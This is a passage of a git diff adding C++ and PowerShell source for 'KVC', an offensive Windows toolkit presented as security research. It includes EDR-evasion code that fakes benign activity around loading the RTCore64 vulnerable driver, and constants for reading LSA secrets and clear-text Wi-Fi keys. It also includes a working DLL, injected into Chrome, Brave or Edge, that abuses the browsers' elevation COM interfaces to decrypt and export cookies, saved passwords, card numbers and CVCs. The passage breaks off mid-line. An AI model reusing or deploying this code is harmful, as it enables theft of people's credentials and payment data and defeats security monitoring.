Service Control Manager with minimal privileges + ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT)); + if (!scm) { + DEBUG(L"OpenSCManager failed: %d", GetLastError()); + return false; + } + + // Attempt to open the service for status query + ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS)); + + // Service exists if we can open it successfully + return static_cast(service); +} + +// Check if KVC service is currently running +// Returns: true if service state is SERVICE_RUNNING, false otherwise +bool IsServiceRunning() noexcept +{ + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in IsServiceRunning"); + return false; + } + + // Connect to Service Control Manager + ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT)); + if (!scm) { + DEBUG(L"OpenSCManager failed: %d", GetLastError()); + return false; + } + + // Open service with query privileges + ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS)); + if (!service) { + DEBUG(L"OpenService failed: %d", GetLastError()); + return false; + } + + // Query current service status + SERVICE_STATUS status{}; + if (!QueryServiceStatus(service, &status)) { + DEBUG(L"QueryServiceStatus failed: %d", GetLastError()); + return false; + } + + // Check for running state specifically + return (status.dwCurrentState == SERVICE_RUNNING); +} + +// Get full path to current executable for service installation +// Returns: Wide string path to current EXE, empty string on failure +std::wstring GetCurrentExecutablePath() noexcept +{ + wchar_t path[MAX_PATH]; + if (GetModuleFileNameW(nullptr, path, MAX_PATH) == 0) { + DEBUG(L"GetModuleFileNameW failed: %d", GetLastError()); + return L""; + } + return std::wstring(path); +} + +// Get kernel driver service name for RTCore64 operations +// Returns: Wide string containing driver service identifier +std::wstring GetServiceName() noexcept +{ + return L"RTCore64"; +} + +// Get kernel driver filename for file operations +// Returns: Wide string containing driver file name +std::wstring GetDriverFileName() noexcept +{ + return L"kvc.sys"; +} + +// Get secure system temp directory for DPAPI and driver operations +// Uses Windows temp directory with TrustedInstaller privileges +// Returns: Wide string path to system temp directory +std::wstring GetSystemTempPath() noexcept { + wchar_t windowsDir[MAX_PATH]; + + // Primary: Use Windows\Temp directory (accessible by TrustedInstaller) + if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) { + std::wstring result = windowsDir; + return result + L"\\Temp"; + } + + // Fallback: Use user temp directory + wchar_t tempDir[MAX_PATH]; + if (GetTempPathW(MAX_PATH, tempDir) > 0) { + return std::wstring(tempDir); + } + + // Last resort: Hardcoded fallback path + return L"C:\\Windows\\Temp"; +} + +// Generate innocuous system activity to mask driver operations from EDR +// Creates legitimate registry access and file enumeration patterns +// Purpose: Blend driver loading with normal Windows background activity +void GenerateFakeActivity() noexcept +{ + // Registry access to common Windows version key (normal behavior) + HKEY hKey; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", + 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + RegCloseKey(hKey); + } + + // File enumeration in System32 directory (typical for system tools) + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + WIN32_FIND_DATAW findData; + std::wstring system32Pattern = std::wstring(systemDir) + L"\\*.dll"; + + HANDLE hFind = FindFirstFileW(system32Pattern.c_str(), &findData); + if (hFind != INVALID_HANDLE_VALUE) { + FindClose(hFind); + } + } + + // Random delay to vary timing patterns (anti-detection measure) + Sleep(50 + (GetTickCount() % 100)); +} \ No newline at end of file diff --git a/kvc/common.h b/kvc/common.h new file mode 100644 index 0000000..4e2b424 --- /dev/null +++ b/kvc/common.h @@ -0,0 +1,213 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef BUILD_DATE + #define __DATE__ BUILD_DATE +#endif + +#ifdef BUILD_TIME + #define __TIME__ BUILD_TIME +#endif + +#define kvc_DEBUG_ENABLED 0 + +#ifdef ERROR +#undef ERROR +#endif + +// Smart module handle management +struct ModuleDeleter { + void operator()(HMODULE mod) const noexcept { + if (mod) { + FreeLibrary(mod); + } + } +}; + +struct SystemModuleDeleter { + void operator()(HMODULE) const noexcept { + // System modules obtained via GetModuleHandle don't need to be freed + } +}; + +using ModuleHandle = std::unique_ptr, ModuleDeleter>; +using SystemModuleHandle = std::unique_ptr, SystemModuleDeleter>; + +// Logging system with message formatting +template +void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args) +{ + std::wstringstream ss; + ss << prefix; + + if constexpr (sizeof...(args) == 0) + { + ss << format; + } + else + { + wchar_t buffer[1024]; + swprintf_s(buffer, format, std::forward(args)...); + ss << buffer; + } + + ss << L"\r\n"; + std::wcout << ss.str(); +} + +#if kvc_DEBUG_ENABLED + #define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__) +#else + #define DEBUG(format, ...) do {} while(0) +#endif + +#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__) +#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__) +#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__) + +#define LASTERROR(f) \ + do { \ + wchar_t buf[256]; \ + swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \ + std::wcout << buf; \ + } while(0) + +// Windows protection type definitions +enum class PS_PROTECTED_TYPE : UCHAR +{ + None = 0, + ProtectedLight = 1, + Protected = 2 +}; + +enum class PS_PROTECTED_SIGNER : UCHAR +{ + None = 0, + Authenticode = 1, + CodeGen = 2, + Antimalware = 3, + Lsa = 4, + Windows = 5, + WinTcb = 6, + WinSystem = 7, + App = 8, + Max = 9 +}; + +// Service-related constants +namespace ServiceConstants { + constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl"; + constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework"; + constexpr const wchar_t* SERVICE_PARAM = L"--service"; + + // Keyboard hook settings + constexpr int CTRL_SEQUENCE_LENGTH = 5; + constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000; + constexpr DWORD CTRL_DEBOUNCE_MS = 50; +} + +// DPAPI constants for password extraction +namespace DPAPIConstants { + constexpr int SQLITE_OK = 0; + constexpr int SQLITE_ROW = 100; + constexpr int SQLITE_DONE = 101; + constexpr int SQLITE_OPEN_READONLY = 0x00000001; + + inline std::string GetChromeV10Prefix() { return "v10"; } + inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; } + + inline std::wstring GetSecurityPolicySecrets() { return L"SECURITY\\Policy\\Secrets"; } + inline std::wstring GetDPAPISystemKey() { return L"DPAPI_SYSTEM"; } + inline std::wstring GetNLKMKey() { return L"NL$KM"; } + inline std::wstring GetDefaultPasswordKey() { return L"DefaultPassword"; } + + inline std::wstring GetCurrVal() { return L"CurrVal"; } + inline std::wstring GetOldVal() { return L"OldVal"; } + + inline std::wstring GetChromeUserData() { return L"\\Google\\Chrome\\User Data"; } + inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; } + inline std::wstring GetLocalStateFile() { return L"\\Local State"; } + inline std::wstring GetLoginDataFile() { return L"\\Login Data"; } + + inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; } + + inline std::string GetLocalAppData() { return "LOCALAPPDATA"; } + + inline std::wstring GetHTMLExt() { return L".html"; } + inline std::wstring GetTXTExt() { return L".txt"; } + inline std::wstring GetDBExt() { return L".db"; } + + inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; } + inline std::wstring GetTempPattern() { return L"temp_login_data"; } + + inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; } + inline std::string GetNetshShowProfileKey() { return "netsh wlan show profile name=\""; } + inline std::string GetNetshKeyClear() { return "\" key=clear"; } + + inline std::string GetWiFiProfileMarker() { return "All User Profile"; } + inline std::string GetWiFiKeyContent() { return "Key Content"; } + + inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; } + + inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; } + inline std::wstring GetStatusClearText() { return L"CLEAR_TEXT"; } + inline std::wstring GetStatusEncrypted() { return L"ENCRYPTED"; } + inline std::wstring GetStatusFailed() { return L"FAILED"; } + inline std::wstring GetStatusExtracted() { return L"EXTRACTED"; } +} + +// Dynamic API loading globals for driver operations +extern ModuleHandle g_advapi32; +extern SystemModuleHandle g_kernel32; +extern decltype(&CreateServiceW) g_pCreateServiceW; +extern decltype(&OpenServiceW) g_pOpenServiceW; +extern decltype(&StartServiceW) g_pStartServiceW; +extern decltype(&DeleteService) g_pDeleteService; +extern decltype(&CreateFileW) g_pCreateFileW; +extern decltype(&ControlService) g_pControlService; + +// Service mode detection +extern bool g_serviceMode; +extern volatile bool g_interrupted; + +// Core driver functions +bool InitDynamicAPIs() noexcept; +std::wstring GetServiceName() noexcept; +std::wstring GetDriverFileName() noexcept; +void GenerateFakeActivity() noexcept; +std::wstring GetSystemTempPath() noexcept; + +// Service utility functions +bool IsServiceInstalled() noexcept; +bool IsServiceRunning() noexcept; +std::wstring GetCurrentExecutablePath() noexcept; + +// Driver path helper +inline std::wstring GetDriverStorePath() noexcept { + wchar_t windowsDir[MAX_PATH]; + if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) { + wcscpy_s(windowsDir, L"C:\\Windows"); + } + std::wstring result = windowsDir; + return result + L"\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_12ca23d60da30d59"; +} + +// KVC combined binary processing constants +constexpr std::array KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; +constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat"; +constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe"; +constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll"; diff --git a/kvc/intro.ps1 b/kvc/intro.ps1 new file mode 100644 index 0000000..62f9a99 --- /dev/null +++ b/kvc/intro.ps1 @@ -0,0 +1,84 @@ +$introText = @" +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +"@ + +# Get all .cpp files in current directory +$cppFiles = Get-ChildItem -Path . -Filter "*.cpp" + +# Count files with and without intro +$filesWithIntro = 0 +$filesWithoutIntro = 0 + +foreach ($file in $cppFiles) { + $content = Get-Content -Raw $file.FullName + $introPattern = [regex]::Escape($introText.Trim()) + + if ($content -match $introPattern) { + $filesWithIntro++ + } + else { + $filesWithoutIntro++ + } +} + +# Display summary +Write-Host "Found intro in $filesWithIntro files" -ForegroundColor Yellow +if ($filesWithIntro -gt 0) { + $choice = Read-Host "Remove intro from all these files in batch? (Y/N)" + if ($choice -eq 'Y' -or $choice -eq 'y') { + foreach ($file in $cppFiles) { + $content = Get-Content -Raw $file.FullName + $introPattern = [regex]::Escape($introText.Trim()) + + if ($content -match $introPattern) { + $newContent = $content -replace $introPattern, "" + $newContent = $newContent.TrimStart() + Set-Content -Path $file.FullName -Value $newContent -NoNewline + Write-Host "Removed intro from $($file.Name)" -ForegroundColor Green + } + } + } +} + +Write-Host "Intro not found in $filesWithoutIntro files" -ForegroundColor Yellow +if ($filesWithoutIntro -gt 0) { + $choice = Read-Host "Add intro to all these files in batch? (Y/N)" + if ($choice -eq 'Y' -or $choice -eq 'y') { + foreach ($file in $cppFiles) { + $content = Get-Content -Raw $file.FullName + $introPattern = [regex]::Escape($introText.Trim()) + + if (-not ($content -match $introPattern)) { + $newContent = $introText + "`r`n" + $content + Set-Content -Path $file.FullName -Value $newContent -NoNewline + Write-Host "Added intro to $($file.Name)" -ForegroundColor Green + } + } + } +} + +Write-Host "Batch operation completed" -ForegroundColor Cyan diff --git a/kvc/kvc_crypt.cpp b/kvc/kvc_crypt.cpp new file mode 100644 index 0000000..2be7583 --- /dev/null +++ b/kvc/kvc_crypt.cpp @@ -0,0 +1,933 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// kvc_crypt.cpp +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "SelfLoader.h" +#include "winsqlite3.h" + +#pragma comment(lib, "Crypt32.lib") +#pragma comment(lib, "bcrypt.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "shell32.lib") + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +namespace fs = std::filesystem; + +// Simplified string utilities for essential conversions only +namespace StringUtils +{ + // Convert filesystem path to API-compatible string + inline std::string path_to_string(const fs::path& path) + { + return path.string(); + } +} + +// COM Interface Protection Levels for Browser Elevation Services +enum class ProtectionLevel +{ + None = 0, + PathValidationOld = 1, + PathValidation = 2, + Max = 3 +}; + +// Chrome/Brave Base Elevator Interface - COM interop for browser security services +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IOriginalBaseElevator : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +// Edge Elevator Base Interface - placeholder methods for compatibility +MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6") +IEdgeElevatorBase_Placeholder : public IUnknown +{ +public: + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0; +}; + +// Edge Intermediate Elevator Interface - extends base functionality +MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") +IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder +{ +public: + virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0; + virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0; +}; + +// Edge Final Elevator Interface - complete implementation +MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B") +IEdgeElevatorFinal : public IEdgeIntermediateElevator {}; + +namespace SecurityComponents +{ + class PipeLogger; + + namespace Utils + { + // Get Local AppData folder path with comprehensive error handling + fs::path GetLocalAppDataPath() + { + PWSTR path = nullptr; + if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) + { + fs::path result = path; + CoTaskMemFree(path); + return result; + } + throw std::runtime_error("Failed to get Local AppData path."); + } + + // Base64 decode utility for processing encrypted keys + std::optional> Base64Decode(const std::string& input) + { + DWORD size = 0; + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) + return std::nullopt; + + std::vector data(size); + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr)) + return std::nullopt; + + return data; + } + + // Convert binary data to hex string for diagnostic logging + std::string BytesToHexString(const std::vector& bytes) + { + std::ostringstream oss; + oss << std::hex << std::setfill('0'); + for (uint8_t byte : bytes) + oss << std::setw(2) << static_cast(byte); + return oss.str(); + } + + // Escape JSON strings for safe output serialization + std::string EscapeJson(const std::string& s) + { + std::ostringstream o; + for (char c : s) + { + switch (c) + { + case '"': o << "\\\""; break; + case '\\': o << "\\\\"; break; + case '\b': o << "\\b"; break; + case '\f': o << "\\f"; break; + case '\n': o << "\\n"; break; + case '\r': o << "\\r"; break; + case '\t': o << "\\t"; break; + default: + if ('\x00' <= c && c <= '\x1f') + { + o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast(c); + } + else + { + o << c; + } + } + } + return o.str(); + } + } + + namespace Browser + { + // Browser configuration structure for multi-platform support + struct Config + { + std::string name; + std::wstring processName; + CLSID clsid; + IID iid; + fs::path userDataSubPath; + }; + + // Get comprehensive browser configurations mapping + const std::unordered_map& GetConfigs() + { + static const std::unordered_map browser_configs = { + {"chrome", {"Chrome", L"chrome.exe", + {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, + {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, + fs::path("Google") / "Chrome" / "User Data"}}, + {"brave", {"Brave", L"brave.exe", + {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, + {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, + fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}}, + {"edge", {"Edge", L"msedge.exe", + {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, + {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, + fs::path("Microsoft") / "Edge" / "User Data"}} + }; + return browser_configs; + } + + // Detect current browser process configuration from runtime environment + Config GetConfigForCurrentProcess() + { + char exePath[MAX_PATH] = {0}; + GetModuleFileNameA(NULL, exePath, MAX_PATH); + std::string processName = fs::path(exePath).filename().string(); + std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower); + + const auto& configs = GetConfigs(); + if (processName == "chrome.exe") return configs.at("chrome"); + if (processName == "brave.exe") return configs.at("brave"); + if (processName == "msedge.exe") return configs.at("edge"); + + throw std::runtime_error("Unsupported host process: " + processName); + } + } + + namespace Crypto + { + // Cryptographic constants for AES-GCM decryption operations + constexpr size_t KEY_SIZE = 32; + constexpr size_t GCM_IV_LENGTH = 12; + constexpr size_t GCM_TAG_LENGTH = 16; + const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'}; + + // Support for multiple encryption format versions + const std::string V10_PREFIX = "v10"; + const std::string V20_PREFIX = "v20"; + + // Simple RAII wrapper for BCrypt algorithm handle + class BCryptAlgorithm + { + public: + BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); } + ~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); } + operator BCRYPT_ALG_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + private: + BCRYPT_ALG_HANDLE handle = nullptr; + }; + + // Simple RAII wrapper for BCrypt key handle + class BCryptKey + { + public: + BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector& key) + { + BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, + const_cast(key.data()), static_cast(key.size()), 0); + } + ~BCryptKey() { if (handle) BCryptDestroyKey(handle); } + operator BCRYPT_KEY_HANDLE() const { return handle; } + bool IsValid() const { return handle != nullptr; } + private: + BCRYPT_KEY_HANDLE handle = nullptr; + }; + + // Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats) + std::vector DecryptGcm(const std::vector& key, const std::vector& blob) + { + // Auto-detect encryption format version + std::string detectedPrefix; + size_t prefixLength = 0; + + if (blob.size() >= 3) + { + if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0) + { + detectedPrefix = V10_PREFIX; + prefixLength = V10_PREFIX.length(); + } + else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0) + { + detectedPrefix = V20_PREFIX; + prefixLength = V20_PREFIX.length(); + } + else + { + return {}; + } + } + else + { + return {}; + } + + const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH; + if (blob.size() < GCM_OVERHEAD_LENGTH) + return {}; + + // Initialize BCrypt AES-GCM cryptographic provider + BCryptAlgorithm algorithm; + if (!algorithm.IsValid()) + return {}; + + BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, + reinterpret_cast(const_cast(BCRYPT_CHAIN_MODE_GCM)), + sizeof(BCRYPT_CHAIN_MODE_GCM), 0); + + // Generate symmetric key from raw key material + BCryptKey cryptoKey(algorithm, key); + if (!cryptoKey.IsValid()) + return {}; + + // Extract cryptographic components from blob + const uint8_t* iv = blob.data() + prefixLength; + const uint8_t* ct = iv + GCM_IV_LENGTH; + const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH); + ULONG ct_len = static_cast(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH); + + // Configure GCM authenticated encryption parameters + BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo; + BCRYPT_INIT_AUTH_MODE_INFO(authInfo); + authInfo.pbNonce = const_cast(iv); + authInfo.cbNonce = GCM_IV_LENGTH; + authInfo.pbTag = const_cast(tag); + authInfo.cbTag = GCM_TAG_LENGTH; + + // Perform authenticated decryption with integrity verification + std::vector plain(ct_len > 0 ? ct_len : 1); + ULONG outLen = 0; + + NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast(ct), ct_len, &authInfo, + nullptr, 0, plain.data(), static_cast(plain.size()), &outLen, 0); + if (!NT_SUCCESS(status)) + return {}; + + plain.resize(outLen); + return plain; + } + + // Extract and validate encrypted master key from Local State configuration + std::vector GetEncryptedMasterKey(const fs::path& localStatePath) + { + std::ifstream f(localStatePath, std::ios::binary); + if (!f) + throw std::runtime_error("Could not open Local State file."); + + std::string content((std::istreambuf_iterator(f)), std::istreambuf_iterator()); + const std::string tag = "\"app_bound_encrypted_key\":\""; + size_t pos = content.find(tag); + if (pos == std::string::npos) + throw std::runtime_error("app_bound_encrypted_key not found."); + + pos += tag.length(); + size_t end_pos = content.find('"', pos); + if (end_pos == std::string::npos) + throw std::runtime_error("Malformed app_bound_encrypted_key."); + + auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos)); + if (!optDecoded) + throw std::runtime_error("Base64 decoding of key failed."); + + auto& decodedData = *optDecoded; + if (decodedData.size() < sizeof(KEY_PREFIX) || + memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) + { + throw std::runtime_error("Key prefix validation failed."); + } + return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()}; + } + } + + namespace Data + { + constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32; + + // Function pointer types for extraction operations + typedef std::shared_ptr>>(*PreQuerySetupFunc)(sqlite3*); + typedef std::optional(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector&, void*); + + // Configuration structure for database extraction operations + struct ExtractionConfig + { + fs::path dbRelativePath; + std::string outputFileName; + std::string sqlQuery; + PreQuerySetupFunc preQuerySetup; + JsonFormatterFunc jsonFormatter; + }; + + // Pre-query setup for payment cards - loads CVC data + std::shared_ptr>> SetupPaymentCards(sqlite3* db) + { + auto cvcMap = std::make_shared>>(); + sqlite3_stmt* stmt = nullptr; + if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK) + return cvcMap; + + while (sqlite3_step(stmt) == SQLITE_ROW) + { + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 1)); + if (guid && blob) + (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)}; + } + sqlite3_finalize(stmt); + return cvcMap; + } + + // JSON formatter for cookies + std::optional FormatCookie(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 6)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)}); + if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE) + return std::nullopt; + + const char* value_start = reinterpret_cast(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE; + size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE; + + std::ostringstream json_entry; + json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) << "\"" + << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) << "\"" + << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 2))) << "\"" + << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\"" + << ",\"expires\":" << sqlite3_column_int64(stmt, 5) + << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false") + << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false") + << "}"; + return json_entry.str(); + } + + // JSON formatter for passwords + std::optional FormatPassword(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 2)); + if (!blob) return std::nullopt; + + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)}); + return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 0))) + + "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast(plain.data()), plain.size()}) + "\"}"; + } + + // JSON formatter for payment cards + std::optional FormatPayment(sqlite3_stmt* stmt, const std::vector& key, void* state) + { + auto cvcMap = reinterpret_cast>>*>(state); + std::string card_num_str, cvc_str; + + // Decrypt primary card number + const uint8_t* blob = reinterpret_cast(sqlite3_column_blob(stmt, 4)); + if (blob) + { + auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)}); + card_num_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + // Decrypt associated CVC if available + const char* guid = reinterpret_cast(sqlite3_column_text(stmt, 0)); + if (guid && cvcMap && (*cvcMap)->count(guid)) + { + auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid)); + cvc_str.assign(reinterpret_cast(plain.data()), plain.size()); + } + + return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast(sqlite3_column_text(stmt, 1))) + + "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) + + ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) + + ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) + + "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}"; + } + + // Comprehensive extraction configurations for different browser data types + const std::vector& GetExtractionConfigs() + { + static const std::vector configs = { + // Browser cookie extraction configuration + {fs::path("Network") / "Cookies", "cookies", + "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;", + nullptr, FormatCookie}, + + // Stored password extraction configuration + {"Login Data", "passwords", + "SELECT origin_url, username_value, password_value FROM logins;", + nullptr, FormatPassword}, + + // Payment card information extraction configuration + {"Web Data", "payments", + "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;", + SetupPaymentCards, FormatPayment} + }; + return configs; + } + } + + // Named pipe communication interface with orchestrator process + class PipeLogger + { + public: + explicit PipeLogger(LPCWSTR pipeName) + { + m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); + } + + ~PipeLogger() + { + if (m_pipe != INVALID_HANDLE_VALUE) + { + Log("__DLL_PIPE_COMPLETION_SIGNAL__"); + FlushFileBuffers(m_pipe); + CloseHandle(m_pipe); + } + } + + bool isValid() const noexcept { return m_pipe != 